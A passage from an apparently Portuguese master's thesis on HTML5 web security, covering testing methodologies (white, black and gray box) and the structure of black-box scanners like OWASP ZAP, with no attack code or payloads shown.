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Abstract
The new version of HTML, offers impressive enhancements to develop rich web
applications. But coupled with new features they always come new security issues
that need to be analyzed and covered.
Prior to HTML5 already existed certain security threats that affecting the web
applications (such as SQLInjection, XSS, CSRF, etc.), and that gain a new poten-
tial due to the new HTML features. This study focuses specifically on the analysis
of these well known threats, together with the analysis of the security risks asso-
ciated with the new features of HTML5, as well as, the presentation of mitigation
rules.
Additionally are presented a set of modules for detecting HTML5 vulnerabilities
in web applications, caused by inadequate use of HTML5 during the development
phase. This set of modules corresponds to an extension added to a Black Box Web
Application Security Scanner well known called ZAP, which is owned by OWASP.
This also implied the adding of some HTML5 features to the Wave ZAP web
application, also owned by OWASP, with the intent to perform penetration tests
against it, in order to test these new ZAP modules.
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Resumo
A nova versa˜o do HTML tra´s melhorias significativas relativamente a` construc¸a˜o de
aplicac¸o˜es web mais ricas. Contudo, com as novas funcionalidades veˆm acoplados
a elas sempre novos riscos de seguranc¸a que precisam ser analisados e colmatados.
Anteriormente ao HTML5 ja´ existiam determinadas ameac¸as de seguranc¸a que
afetavam as aplicac¸o˜es web (tais como SQLInjection, XSS, CSRF, etc), e que
ganham um novo potencial devido aos novos recursos do HTML. Este estudo
foca precisamente a ana´lise dessas ameac¸as bem conhecidas, em conjunto com a
ana´lise dos riscos de seguranc¸a associados a`s novas funcionalidades do HTML5,
assim como a` apresentac¸a˜o de regras para atenuac¸a˜o das mesmas.
Adicionalmente sa˜o apresentados um conjunto de mo´dulos para detec¸a˜o de
vulnerabilidades HTML5 em aplicac¸o˜es web. As quais sa˜o originadas devido a`
ma´ utilizac¸a˜o do HTML5 durante a fase de desenvolvimento. Esse conjunto de
mo´dulos corresponde a uma extensa˜o adicionada a um Black Box Web Application
Security Scanner bem conhecido da OWASP designado ZAP.
Isso implicou adicionar tambe´m algumas funcionalidades HTML5 a uma aplicac¸a˜o
web tambe´m da OWASP designada Wave ZAP, cujo objetivo e´ ser utilizada para
realizar testes de penetrac¸a˜o a fim de testar esses novos mo´dulos do ZAP.
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Cap´ıtulo 1
Introduc¸a˜o
As novas tecnologias suscitam sempre novos riscos de seguranc¸a, o que implica
a existeˆncia de me´todos pro´prios para os combater (i.e. elimina-los, bloquea´-los
ou atenua-los). O intuito deste estudo visa precisamente analisar os riscos de
seguranc¸a que surgem de forma direta ou indireta da ma´ utilizac¸a˜o do HTML5.
“The way to be safe is never to feel secure.”
(Benjamin Franklin)
1.1 Conceitos de Seguranc¸a
No domı´nio da seguranc¸a ha´ certos conceitos de seguranc¸a que se repetem. De
entre esse conjunto, seguem-se aqueles que sera˜o utilizados ao longo do docu-
mento. A utilizac¸a˜o destes conceitos bem conhecidos tem como objetivo facilitar
a interpretac¸a˜o de algumas ideias.
Alguns dos conceitos empregues no documento:
Seguranc¸a: e´ o n´ıvel de garantia de que o sistema de seguranc¸a se vai comportar
conforme o esperado.
Risco: um poss´ıvel evento que poderia causar uma perda de informac¸a˜o.
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Ameac¸a: um me´todo de desencadear um evento de risco que e´ perigoso. (e.g.
XSS)
Contramedida: uma salvaguarda para impedir que uma ameac¸a provoque um
evento de risco.
Vulnerabilidade: uma fraqueza na aplicac¸a˜o que pode ser potencialmente ex-
plorada por uma ameac¸a de seguranc¸a.
Ataque: uma vulnerabilidade que foi desencadeada por uma ameac¸a (i.e. um
risco de 100%).
1.2 Motivac¸a˜o
Grande parte da economia direciona-se rapidamente para o nego´cio na web, e na˜o
ha´ escapato´ria para esta realidade. Pois a web e´ o local onde os consumidores
realizam a maior parte dos seus nego´cios (e.g. operac¸o˜es bancarias, compras,
pagamentos de servic¸os, etc). O mesmo acontece com as companhias, as quais
optam igualmente por mover todos os seus sistemas para a web. Por exemplo,
pelo menos 50% de todo o retalho de venda de mu´sicas nos Estados Unidos ocorre
online, assim como o mercado virtual de jogos online atingiu cerca de 1.5 bilio˜es
de do´lares em 2010 e, para ale´m disso segundo algumas estimativas, mais de 45%
dos adultos dos EUA usam a internet exclusivamente para operac¸o˜es banca´rias
[Scambray, 2010] .
Esta tendeˆncia deve-se sobretudo ao constante avanc¸o tecnolo´gico da web e
dos dispositivos mo´veis, pelo facto de estarem dispon´ıveis para os consumidores
a qualquer hora e em qualquer lugar. Em contrapartida os mecanismos de segu-
ranc¸a deste segmento na˜o esta˜o a acompanhar esse ritmo. Tornando-se assim a
seguranc¸a das aplicac¸o˜es web um princ´ıpio cada vez mais importante na u´ltima
de´cada. Pois cada vez mais as aplicac¸o˜es baseadas na web lidam com informac¸o˜es
sens´ıveis e dados importantes, que quando comprometidas podem significar tempo
de inatividade ou danos/perda de informac¸a˜o.
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Um estudo de testes de penetrac¸a˜o realizado pela Imperva Application De-
fense Center, que englobou mais de 250 aplicac¸o˜es web de e-commerce, servic¸os
banca´rios online, colaborac¸o˜es empresariais e uma se´rie de sites de fornecimento
concluiu que pelo menos 92% das aplicac¸o˜es web, sa˜o vulnera´veis a algum tipo
de ataque [Gendron, 2004] . O Web Application Security Consortium (WASC)
realizou um estudo em 2008 que demonstrou que num conjunto de 97554 websites,
12186 dos websites testados (87,5%) teˆm vulnerabilidades [Gordeychik, 2008] . A
WhiteHat Security tambe´m testou cerca de 2.000 websites num estudo e mostrou
que em me´dia um website tem 13 vulnerabilidades [WhiteHat Security, 2010] .
Em 2010 um relato´rio da Verizon relata que em seis anos mais de 900 falhas de
seguranc¸a com mais de 900 milho˜es de registos comprometidos foram estudadas
[Baker, 2010] . Posteriormente, no relato´rio de 2011 com o contributo da National
Hi-Tech Crime Unit (NHTCU) foram examinados cerca de 800 novos dados de
incidentes comprometedores desde o u´ltimo relato´rio [Baker, 2011] . Apesar de
alguns destes tipos de ataques serem comuns, a maioria das empresas na˜o possui
nenhum n´ıvel de seguranc¸a nos seus websites, aplicac¸o˜es e servidores, adequado
contra eles.
Pode dizer-se que as vulnerabilidades nas aplicac¸o˜es podem surgir em qualquer
fase do ciclo de vida da aplicac¸a˜o, mas sobretudo na fase de desenvolvimento.
Essa fase e´ a mais cr´ıtica, pois corresponde ao momento onde se utilizam deter-
minados me´todos e te´cnicas de programac¸a˜o que iram ditar as vulnerabilidades
da aplicac¸a˜o. Mais concretamente deve-se a` ma´ utilizac¸a˜o das linguagens de pro-
gramac¸a˜o ou de determinados recursos externos. Por outro lado, estes riscos ja´
esta˜o associados a` pro´pria linguagem ou recursos, e portanto e´ preciso saber lidar
com isso. Com o aparecimento do HTML5, torna-se interessante analisar quais os
riscos de seguranc¸a que esta acarreta, sobretudo pelo facto desta linguagem estar
presente em todas as aplicac¸o˜es web e por estar diretamente relacionada com as
interac¸o˜es do utilizador.
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1.3 Caso de estudo
As novas funcionalidades introduzidas pelo HTML5 levantam novas questo˜es de
seguranc¸a. Ale´m disso, tambe´m introduzem novas vulnerabilidades ou tornam
o impacto das ameac¸as ja´ existentes mais cr´ıticas. O tema seguranc¸a tem sido
considerado na concec¸a˜o do HTML5, mas mesmo assim as ameac¸as de seguranc¸a
foram tratadas de forma insuficiente. O HTML5 na˜o aumentou as possibilidades de
ataque apenas com a introduc¸a˜o de novas funcionalidades, mas tambe´m atrave´s
das ameac¸as ja´ existentes no HTML 4.01, que na˜o foram abordadas e que se
tornaram piores e mais fa´ceis de explorar.
Isto e´, com o HTML5 as possibilidades que um atacante tem para despoletar
ataques aumenta. Por exemplo, o XSS que e´ uma das principais ameac¸as de
seguranc¸a das aplicac¸o˜es web, torna-se pior. Ou seja, tudo o que era poss´ıvel com
o XSS ainda continua no HTML5 mas com uma capacidade de ataque ainda maior.
O JavaScript (JS) tambe´m continua muito poderoso com a particularidade de que
todo o co´digo JS executado no User Agent (UA) 1 tem total acesso ao objeto
global. Os mecanismos de protec¸a˜o existentes deixam de ser suficientes para nos
proteger contra ataques que recorrem ao HTML5.
Para detetar as ameac¸as de seguranc¸a nas aplicac¸o˜es web recorre-se frequente-
mente a testes automatizados. No entanto, com o aparecimento destes novos tipos
de ataques as ferramentas de detec¸a˜o de vulnerabilidades encontram-se desatuali-
zadas, e por isso e´ necessa´rio enriquecer estas ferramentas com novos mecanismos
de detec¸a˜o de vulnerabilidades que sa˜o herdadas do HTML5. Portanto, a ana´lise
dos riscos de seguranc¸a das novas funcionalidades do HTML5 e de como estes esta˜o
relacionados com as principais ameac¸as de seguranc¸a existentes, em conjunto com
a detec¸a˜o de alguns desses novos riscos de seguranc¸a recorrendo a um scanner de
seguranc¸a, caracterizam o caso de estudo.
1E´ o agente de software que esta´ a agir em nome do utilizador, neste caso o browser.
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1.4 Objetivos
As ferramentas de ana´lise de seguranc¸a de aplicac¸o˜es web, caracterizam-se pela
implementac¸a˜o de uma determinada metodologia de teste (e.g. ver capitulo 2).
De entre esses me´todos apenas interessa abordar a metodologia de teste Black Box,
a qual corresponde a uma ana´lise que se posiciona do lado do cliente. Sedo assim, o
primeiro objetivo consiste em averiguar e descrever qual a estrutura interna t´ıpica
de um sistema deste ge´nero.
Como foi referido ja´ existiam ameac¸as de seguranc¸a comuns que afetavam as
aplicac¸o˜es web, e por esse motivo o segundo objetivo consiste na identificac¸a˜o e
ana´lise das principais ameac¸as de seguranc¸a que mais afetam as aplicac¸o˜es web.
Isto com o intuito de se perceber quais as potencialidades e o impacto dos ataques
baseados neste tipo de ameac¸as.
Posto isto, um dos objetivos mais importantes deste estudo centra-se na ana´lise
do impacto do HTML5 na seguranc¸a das aplicac¸o˜es. Isto e´, o terceiro objetivo con-
siste em analisar a especificac¸a˜o do HTML5 para cada uma das novas funcionali-
dades, a fim de identificar e explorar quais os seus riscos de seguranc¸a, assim como
apresentar algumas medidas de atenuac¸a˜o de forma a diminuir o seu impacto.
Como u´ltimo objetivo pretende-se estender um scanner de seguranc¸a de aplicac¸o˜es
web, que permita identificar poss´ıveis vulnerabilidades de seguranc¸a em aplicac¸o˜es
web que utilizem HTML5. Neste caso, pretende-se recorrer ao projeto de co´digo
aberto ZAP da OWASP e adicionar alguns mo´dulos de detec¸a˜o de vulnerabilidades
HTML5, com uma poss´ıvel posterior integrac¸a˜o no ZAP. Desta forma estar-se-a´ a
contribuir positivamente com a possibilidade de detec¸a˜o de novos riscos de segu-
ranc¸a originados pelo HTML5, devido ao aparecimento de novos tipos de ataque.
Existe um amplo conjunto de aplicac¸o˜es web vulnera´veis destinadas para tes-
tes de seguranc¸a. No entanto pelo facto do HTML5 ser uma nova tecnologia e´
desconhecida a existeˆncia de tal aplicac¸a˜o de teste, assim como, com todas as
suas novas funcionalidades implementadas. Logo e´ necessa´rio ainda desenvolver
uma aplicac¸a˜o HTML5 vulnera´vel que sirva de plataforma de testes para testar
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a detec¸a˜o dos novos mo´dulos ZAP desenvolvidos. Mas como o pro´prio ZAP e´
constitu´ıdo por uma aplicac¸a˜o web para testes designada “wave-zap”, pretende-
se estender a mesma com uma categoria designada html5vuln correspondente a`
aplicac¸a˜o HTML5 vulnera´vel.
1.5 Organizac¸a˜o do documento
O documento e´ constitu´ıdo por va´rios cap´ıtulos, estruturados de forma a repre-
sentar quais os principais intervenientes envolvidos numa metodologia de teste de
seguranc¸a Black Box.
Capitulo 2: Apresenta as principais abordagens de teste de seguranc¸a, poss´ıveis
de serem adotadas por um Web Application Security Scanner (WASS).
Capitulo 3: Descreve quais os principais componentes que constituem um Black
Box Web Application Security Scanner (BB-WASS).
Capitulo 4: Apresenta as ameac¸as de seguranc¸a que mais frequentemente afetam
as aplicac¸o˜es web.
Capitulo 5: Descreve alguns dos trabalhos relativos a` classificac¸a˜o de ameac¸as de
seguranc¸a, a` capacidade de detec¸a˜o destas ameac¸as por parte dos scanners
Black Box, e ainda alguns dos trabalhos relativos a` identificac¸a˜o de riscos de
seguranc¸a do HTML5.
Capitulo 6: Resume de uma forma geral as principais questo˜es de seguranc¸a do
HTML5. Onde sa˜o enumerados poss´ıveis riscos e me´todos para os prevenir
e ou atenuar.
Capitulo 7: Este capitulo materializa os temas anteriores atrave´s da descric¸a˜o
do trabalho realizado relativamente a` extensa˜o do ZAP, para detetar vulne-
rabilidade HTML5 em aplicac¸o˜es.
Capitulo 8: Por fim, o capitulo da conclusa˜o e trabalho futuro resume alguns
dos pontos chave e um eventual trabalho extra.
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Abordagens de Testes de
Seguranc¸a
A introduc¸a˜o expoˆs claramente que o objetivo passa por analisar os riscos de
seguranc¸a associados a aplicac¸o˜es web HTML5 e por realizar o teste de seguranc¸a
das mesmas. Por esse motivo este cap´ıtulo e´ dedicado exclusivamente a` ana´lise de
quais as poss´ıveis abordagens de teste de seguranc¸a.
“A good plan today is better than a perfect plan tomorrow.”
(George Smith Patton)
2.1 Introduc¸a˜o
Existem treˆs poss´ıveis abordagens de teste de seguranc¸a que podem se utiliza-
das; uma abordagem White Box onde a aplicac¸a˜o e´ analisada recorrendo ao seu
co´digo-fonte, uma abordagem Black Box onde a aplicac¸a˜o e´ avaliada numa pers-
petiva externa e em tempo de execuc¸a˜o, ou enta˜o a combinac¸a˜o de ambas (uma
abordagem Gray Box). Ambas as abordagens podem ser aplicadas de forma au-
toma´tica ou manualmente.
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De entre as diferentes abordagens mencionadas aquela que sera´ adotada como
me´todo de ana´lise e de teste de seguranc¸a perante o trabalho desenvolvido e´ a
abordagem Black Box. Este me´todo de verificac¸a˜o na˜o visa a descoberta de po-
tenciais erros no co´digo da aplicac¸a˜o ou eventuais problemas de funcionamento da
mesma. Mas sim, detetar se as aplicac¸o˜es web sa˜o vulnera´veis a ataques que visam
explorar as suas fragilidades, com o intuito de obter dados na˜o autorizados, atrave´s
da utilizac¸a˜o de determinados comandos que possam prejudicar os utilizadores ou
proprieta´rios da aplicac¸a˜o.
Previamente antes de se partir para uma discussa˜o das poss´ıveis abordagens de
teste de seguranc¸a mencionadas anteriormente, e´ importante apresentar os dife-
rentes tipos de teste de seguranc¸a que podem ser utilizados para o efeito.
De seguida apresentam-se alguns dos principais tipos de Teste de Seguranc¸a
baseados no manual “Open Source Security Testing Methodology Manual” de Pete
Herzog e do ISECOM 1 [Herzog, 2010] :
Auditoria de seguranc¸a: A auditoria corresponde a uma inspec¸a˜o completa da
aplicac¸a˜o para validar se cumpre os requisitos de seguranc¸a delineados.
Scanning de Seguranc¸a: Engloba tudo sobre o scanning e verificac¸a˜o de siste-
mas e aplicac¸o˜es. Os auditores inspecionam e tentam descobrir as fragilida-
des do Sistema Operativo, da aplicac¸a˜o e da rede.
Scanning de Vulnerabilidades: Envolve o scanning de aplicac¸o˜es por todas as
vulnerabilidades conhecidas.
Avaliac¸a˜o de Riscos: A avaliac¸a˜o de riscos e´ um me´todo de ana´lise e decisa˜o
do risco, que depende do tipo de perda e da possibilidade/probabilidade de
ocorreˆncia de uma perda. A avaliac¸a˜o do risco e´ realizada sob a forma de
va´rias entrevistas, discusso˜es e ana´lise do produto.
Teste de Penetrac¸a˜o: No teste de penetrac¸a˜o, quem testa tenta forc¸ar o acesso
e entrar na aplicac¸a˜o, com a ajuda de outra aplicac¸a˜o ou com a ajuda da
combinac¸a˜o de falhas inadvertidamente abertas na aplicac¸a˜o. O teste de
1O Institute for Security and Open Methodologies (ISECOM) e´ uma organizac¸a˜o que
pretende melhorar a forma como a seguranc¸a deve ser testada e implementada.
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penetrac¸a˜o e´ muito importante, pois e´ a maneira mais eficaz para descobrir
potenciais falhas em aplicac¸o˜es.
2.2 Teste White Box
O teste White Box tambe´m comummente conhecido por outras designac¸o˜es (tais
como, ana´lise do co´digo fonte, ana´lise esta´tica, etc), envolve a ana´lise e compre-
ensa˜o do co´digo fonte. Por esta raza˜o este tipo de teste necessita que lhe seja
facultado o co´digo-fonte para ana´lise. O teste White Box e´ muito eficaz na pes-
quisa por erros de programac¸a˜o e de implementac¸a˜o de Software. Em alguns casos
existem padro˜es de correspondeˆncia podendo a ana´lise ser automatizada atrave´s de
um analisador esta´tico 2. Uma desvantagem deste tipo de teste e´ devido ao facto
da ana´lise de co´digo ser exaustiva, pois pode ser dif´ıcil descobrir todas as falhas
de seguranc¸a envolvidas devido a` complexidade do co´digo. No entanto, utilizar
me´todos de ana´lise esta´tica e´ uma boa abordagem para a detec¸a˜o de vulnerabili-
dades em aplicac¸o˜es web [Radosevich, 2009] .
Existem dois tipos de ferramentas de ana´lise White Box, aquelas que requerem
o co´digo-fonte e aquelas que descompilam automaticamente o co´digo bina´rio e
progridem a partir da´ı. Uma poderosa plataforma comercial de ana´lise White
Box e´ a chamada IDA-Pro, a qual na˜o requer o acesso ao co´digo-fonte. Enquanto
que a SourceScope, possui uma extensa base de dados de co´digo que relaciona
os problemas e questo˜es de seguranc¸a comummente encontrados em Java, C e
C++, necessitando assim do co´digo-fonte. O conhecimento encapsulado nessas
ferramentas e´ extremamente u´til na ana´lise de seguranc¸a (e naturalmente, na
explorac¸a˜o de software) [Hoglund, 2004] . Entre estas existem muitas outras
ferramentas de ana´lise de co´digo (e.g. Fortify, Onc¸a, Pixy, etc.) [Radosevich,
2009] .
2Por exemplo, a ferramenta SourceScope, pode ser utilizada para encontrar potenciais falhas
de seguranc¸a em elementos de Software fornecendo-lhes o co´digo fonte.
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Na realidade, os testes White Box sa˜o normalmente derivados a partir de arte-
factos do co´digo-fonte. Por exemplo, os testes podem atingir estruturas espec´ıficas
descobertas no co´digo-fonte ou tentar atingir um certo n´ıvel de cobertura de co´digo.
Este teste e´ u´til para testar o comportamento de uma parte do co´digo, em va´rios
ambientes. Para ale´m disso em co´digo amplamente utilizado, este tipo de teste e´
essencial.
Vantagens do teste White Box:
• Forc¸a o programador do teste a raciocinar cuidadosamente sobre a imple-
mentac¸a˜o;
• Como o conhecimento da estrutura e da codificac¸a˜o interna e´ um pre´-requisito,
torna-se mais fa´cil descobrir que tipo de Input de dados beneficia a realizac¸a˜o
de um teste mais eficaz;
• Revela erros escondidos no co´digo;
• Ajuda na otimizac¸a˜o do co´digo;
• Ajuda na remoc¸a˜o de co´digo extra;
Desvantagens do teste White Box:
• Necessidade de melhores recursos para a realizac¸a˜o do teste, o que conse-
quentemente aumenta o custo.
• Impossibilidade de cobrir cada pedac¸o de co´digo para descobrir erros escon-
didos, podendo originar problemas, resultando na falha da aplicac¸a˜o;
• O conhecimento do co´digo e da estrutura interna e´ um pre´-requisito, assim
como ha´ a necessidade de ter uma pessoa qualificada para levar a cabo este
tipo de teste (o que aumenta o custo);
• Na˜o olha para o co´digo no seu ambiente e em tempo de execuc¸a˜o. Isso e´
importante por va´rias razo˜es. A explorac¸a˜o da vulnerabilidade depende de
todos os aspetos da plataforma alvo e o co´digo fonte e´ apenas um desses
componentes. O SO, a base de dados, as ferramentas de seguranc¸a de ter-
ceiros, as bibliotecas, etc, devem ser tidos em conta na resoluc¸a˜o da ana´lise.
Uma revisa˜o de co´digo fonte na˜o e´ capaz de ter esses fatores em conta;
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2.3 Teste Black Box
O teste Black Box (tambe´m conhecido como teste de penetrac¸a˜o, teste dinaˆmico,
etc) na˜o envolve diretamente o co´digo-fonte da aplicac¸a˜o. Este me´todo de teste
refere-se a` ana´lise da aplicac¸a˜o em tempo de execuc¸a˜o, na˜o havendo necessidade
de acesso ao co´digo-fonte, nem aos detalhes do mesmo, pois sa˜o irrelevantes pe-
rante as propriedades a serem testadas. Isto significa que o teste Black Box se
foca exclusivamente no ambiente vis´ıvel e externo da aplicac¸a˜o, a fim de detetar
as condic¸o˜es indicativas de vulnerabilidades de seguranc¸a em tempo de execuc¸a˜o.
[Radosevich, 2009] . Ou seja, tipicamente interage com o sistema atrave´s da inter-
face de utilizador, fornecendo entradas a´ mesma e analisando as sa´ıdas sem saber
onde e como as entradas foram processadas [crosschecknet, 2012] . Neste contexto,
a ana´lise pode basear-se nos requisitos, nas especificac¸o˜es de protocolos, nas APIs,
ou atrave´s de um varrimento a` interface da aplicac¸a˜o recorrendo a va´rias entradas
e a uma posterior observac¸a˜o do seu comportamento [Radosevich, 2009] .
Em suma, neste paradigma de seguranc¸a, as referidas entradas fornecidas a`
aplicac¸a˜o correspondem a entradas maliciosas (similarmente a tentativas de ata-
ques), num esforc¸o de tentar causar uma rutura. Caso a aplicac¸a˜o falhe durante o
teste, enta˜o pode ter sido descoberto um problema de seguranc¸a. Notar que estes
testes sa˜o conseguidos sem acesso ao co´digo bina´rio.
A grande vantagem do teste Black Box e´ que qualquer aplicac¸a˜o que esteja
em execuc¸a˜o, acess´ıvel via rede e que aceite valores de entrada, pode ser testada
remotamente. Assim, um sistema de teste de seguranc¸a Black Box pode fornecer
quaisquer valores de entrada a` aplicac¸a˜o e observar o seu efeito, com o intuito de
encontrar vulnerabilidades. Esta e´ uma das razo˜es pela qual os atacantes recorrem
muitas vezes as te´cnicas Black Box.
O teste White Box e´ mais eficaz que o teste Black Box na obtenc¸a˜o de conhe-
cimento acerca do co´digo e do seu comportamento, enquanto o teste Black Box
caracteriza-se por ser mais fa´cil de executar e, geralmente, exige muito menos co-
nhecimento da aplicac¸a˜o do que os testes White Box. A maior dificuldade de um
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analista em testes Black Box reside na tentativa de identificac¸a˜o dos caminhos de
co´digo mais significativos, que podem ser diretamente atingidos, recorrendo ape-
nas a uma observac¸a˜o perife´rica do sistema. No entanto o espac¸o de entradas de
uma aplicac¸a˜o para este me´todo de teste na˜o pode ser exaustivamente coberto.
Mas em contrapartida, pode agir como um ataque real a uma aplicac¸a˜o alvo num
ambiente operacional real, o que geralmente um teste White Box na˜o pode.
Uma outra vantagem dos testes Black Box destaca-se pela possibilidade de
validac¸a˜o de uma aplicac¸a˜o no seu pro´prio ambiente de execuc¸a˜o (se poss´ıvel), e
pela possibilidade de identificar se uma potencial a´rea com problema e´ vulnera´vel.
Por exemplo, este tipo de teste e´ mais eficaz para detetar se existe um problema
de denial-of-service. Ao contra´rio dos problemas que sa˜o descobertos numa ana´lise
White Box, os quais na˜o podem ser explorados num sistema real.
Vantagens do teste Black Box
• Os testes sa˜o concebidos a partir do ponto de vista do utilizador;
• Ajudara´ a expor quaisquer ambiguidades ou inconsisteˆncias nas especificac¸o˜es;
• Os casos de testes podem ser concebidos logo que as especificac¸o˜es estejam
completas;
• O ambiente onde o programa esta´ a correr tambe´m e´ testado;
• Teste Eficiente - adequado e eficiente para grandes segmentos de co´digo;
• Teste Imparcial - separa claramente a perspetiva do utilizador do ponto de
vista do programador (i.e. independeˆncia entre o programador e quem testa).
• Na˜o intrusivo - o acesso ao co´digo na˜o e´ necessa´rio.
• Fa´cil de executar - o teste pode ser executado sem o conhecimento pre´vio a`
cerca da implementac¸a˜o, linguagem de programac¸a˜o, SO ou rede.
Desvantagens do teste Black Box
• Os casos de teste sa˜o dif´ıceis de projetar sem especificac¸o˜es claras e concisas;
• Alta probabilidade dos testes ja´ realizados pelo programador serem repeti-
dos;
• Pode haver repetic¸a˜o desnecessa´ria de inputs durante o teste;
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• Dificuldade em analisar as respostas, onde os resultados sa˜o muitas vezes
inferidos;
• Nem todas as propriedades da aplicac¸a˜o podem ser testadas;
• Na˜o dirigido a segmentos espec´ıficos de co´digo potencialmente complexos (e,
portanto, mais propenso a erros);
• Teste localizado – a cobertura de caminhos de co´digo e´ limitada, e apenas
um nu´mero limitado de inputs de teste sa˜o realmente cobertos;
• Criac¸a˜o de testes ineficientes - e´ dif´ıcil cobrir todos os poss´ıveis inputs em
tempo limitado. Portanto, a escrita de casos de teste pode tornar-se dif´ıcil
e lenta;
• Cobertura cega – e´ dif´ıcil identificar inputs complexos se os casos de teste
na˜o estiverem de acordo com as especificac¸o˜es;
2.4 Teste Gray Box
O teste Gray box combina as te´cnicas White Box com o teste de entradas Black Box
[Hoglund, 2004] . Este me´todo de teste explora os caminhos que sa˜o diretamente
acess´ıveis a partir das entradas do utilizador ou interfaces externas do Software.
Num caso t´ıpico, a ana´lise White Box e´ utilizada para encontrar a´reas vulnera´veis,
e os testes Black Box sa˜o enta˜o usados para desenvolver ataques contra essas a´reas.
O uso de te´cnicas Gray box combina os me´todos de teste White Box e Black Box
de uma maneira poderosa.
A abordagem Gray box requer geralmente o uso de va´rias ferramentas em con-
junto. Um bom e simples exemplo de uma ana´lise Gray box e´ executar uma
aplicac¸a˜o alvo num debugger e, em seguida, fornecer um conjunto particular de
inputs ao programa. No sentido, da aplicac¸a˜o ser treinada enquanto o debugger
e´ usado para detetar quaisquer falhas ou comportamento defeituoso [Hoglund,
2004] .
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2.5 S´ıntese
Todos os me´todos de teste apresentados podem revelar poss´ıveis riscos em aplicac¸o˜es
web e potenciais exploits. A ana´lise White Box identifica diretamente mais bugs,
mas o risco real do exploit e´ mais dif´ıcil de medir. A ana´lise Black Box identi-
fica os problemas reais que sa˜o conhecidos por ser explorados. O uso de te´cnicas
Gray box combina ambos os me´todos de uma forma poderosa. Os testes Black
Box podem examinar as aplicac¸o˜es web atrave´s da rede. Os testes White Box
requerem o co´digo-fonte ou bina´rio para uma ana´lise esta´tica. Num caso t´ıpico, a
ana´lise White Box e´ usada para localizar as a´reas potencialmente problema´ticas,
e o teste Black Box e´ enta˜o usado para desenvolver ataques que funcionem contra
estas a´reas [Hoglund, 2004] .
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Cap´ıtulo 3
Estrutura do BB-WASS
Apo´s a observac¸a˜o sobre as diversas abordagens de teste de seguranc¸a envolvidas no
contexto deste estudo, e´ interessante visualizar mais concretamente como o me´todo
Black Box se aplica ao ambiente de teste de um WASS. A abordagem de teste Black
Box e´ comummente utilizada para verificac¸a˜o de seguranc¸a de aplicac¸o˜es web.
“Just because an idea is true doesn’t mean it can be proved. And just because
an idea can be proved doesn’t mean it’s true.”
(Jonah Lehrer)
3.1 Introduc¸a˜o
O Web Application Security Scanner (WASS) tem ganho popularidade devido a`
sua facilidade de utilizac¸a˜o, independeˆncia perante a tecnologia utilizada e devido
aos elevados n´ıveis de automac¸a˜o [Fong and Okun, 2007] . Contudo existem
algumas limitac¸o˜es nesta abordagem, pois na˜o proporciona garantia nem solidez
nas respostas, podendo falhar significativamente na detec¸a˜o de vulnerabilidades
durante o teste [Fong and Okun, 2007] . Ou seja, a limitac¸a˜o do scanner reside
no facto de poderem ocorrer falhas na detec¸a˜o de vulnerabilidades da aplicac¸a˜o,
nomeadamente falsos negativos (vulnerabilidades existentes mas na˜o detetadas) e
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falsos positivos (vulnerabilidades inexistentes mas detetadas) [Fong and Okun,
2007] .
Quanto ao funcionamento, de um BB-WASS este consiste no rastreamento das
pa´ginas da aplicac¸a˜o, a` procura de vulnerabilidades, atrave´s da simulac¸a˜o de ata-
ques contra ela [Khoury et al., 2011] . Mais concretamente este tipo de ferramentas
rastreia toda a aplicac¸a˜o web, com o intuito de alcanc¸ar todas as pa´ginas acess´ıveis,
e respetivos vetores de input (e.g. atributos de Forms HTML e paraˆmetros GET
HTTP). De seguida sa˜o submetidos vetores de ataque para a aplicac¸a˜o utilizado
esses inputs, seguido de uma observac¸a˜o da resposta da aplicac¸a˜o (i.e. respostas
HTTP) de forma a determinar se foi detetada alguma vulnerabilidade [Fong and
Okun, 2007] . Em suma, um scanner de aplicac¸o˜es web pode ser visto como sendo
constituindo por treˆs mo´dulos, um mo´dulo de crawling , um mo´dulo de ataque, e
um mo´dulo de ana´lise [Fong and Okun, 2007] .
Apresentam-se se seguida algumas das limitac¸o˜es e pontos fortes de um WASS:
Limitac¸o˜es:
• O WASS implementa um me´todo de teste dinaˆmico, e portanto na˜o pode
cobrir 100% do co´digo fonte da aplicac¸a˜o.
• E´ dif´ıcil para o WASS identificar falhas lo´gicas, como a utilizac¸a˜o de func¸o˜es
de cifragem fracas, perda de informac¸a˜o, etc.
• Igualmente dif´ıcil alcanc¸ar falhas de desenvolvimento, caso a aplicac¸a˜o na˜o
deˆ pistas suficientes;
• Na˜o identifica todas as variantes de ataques para a vulnerabilidade em
questa˜o. Geralmente possuem uma lista pre´-configurada de ataques em vez
de serem gerados de acordo com a aplicac¸a˜o a testar;
• Sa˜o limitados na compreensa˜o de aplicac¸o˜es com conteu´do dinaˆmico, como
JS, Flash, etc.
Pontos fortes:
• Permite realizar um teste de penetrac¸a˜o em ambiente real;
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• E´ independente da linguagem (i.e. JAVA/JSP, PHP, etc.), ou qualquer ou-
tros mecanismos da aplicac¸a˜o web.
3.2 Crawling
A componente de crawling parte de um conjunto de URL’s, a partir das quais
obte´m as pa´ginas correspondentes, segue e redireciona as ligac¸o˜es de forma a
identificar todas as pa´ginas acess´ıveis pela aplicac¸a˜o, a fim de obter o co´digo
fonte HTML. Para ale´m disso, o crawler identifica todos os pontos de entrada
da aplicac¸a˜o, tais como os paraˆmetros de pedidos GET, campos de input de for-
mula´rios HTML, e controlos que permitem realizar o upload de ficheiros [Fong
and Okun, 2007] .
O maior desafio nesta primeira fase e´ o crawling de pa´ginas que esta˜o protegidas,
tais como pa´ginas que requerem senhas ou inputs humanos, tais como captcha.
Outro desafio do scanner reside na necessidade de identificac¸a˜o quando e onde
realizar outra ronda de crawling apo´s o envio de dados para a aplicac¸a˜o web. Esta
etapa termina quando um scanner identifica o estado de uma aplicac¸a˜o (i.e. inputs
e outputs). No fim desta fase, o scanner deve ter todas as respostas do servidor
em formato HTML [RSnake, 2012a] .
Podem ser realizados dois tipos de scans :
Scan Ativo: O scanner envia va´rios pedidos trabalhados a` aplicac¸a˜o, derivados
de um pedido base, e analisa as respostas resultantes procurando compor-
tamento vulnera´vel (ex. identificar SQL Injection, XSS, etc.). Isso permite
explorar partes interessantes da funcionalidade da aplicac¸a˜o.
Scan Passivo: O scanner na˜o envia quaisquer pedidos novos a partir dele pro´prio,
apenas analisa o conteu´do dos pedidos e respostas realizados (funciona como
uma proxy), e deduz vulnerabilidades a partir deles (e.g. divulgac¸a˜o de
informac¸a˜o, o uso inseguro de SSL, etc.). Isso permite encontrar bugs de
forma segura sem enviar quaisquer pedidos adicionais para a aplicac¸a˜o.
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3.3 Construc¸a˜o do Ataque e Submissa˜o
Esta etapa pode ser descrita como uma tarefa de engenharia reversa, na qual o
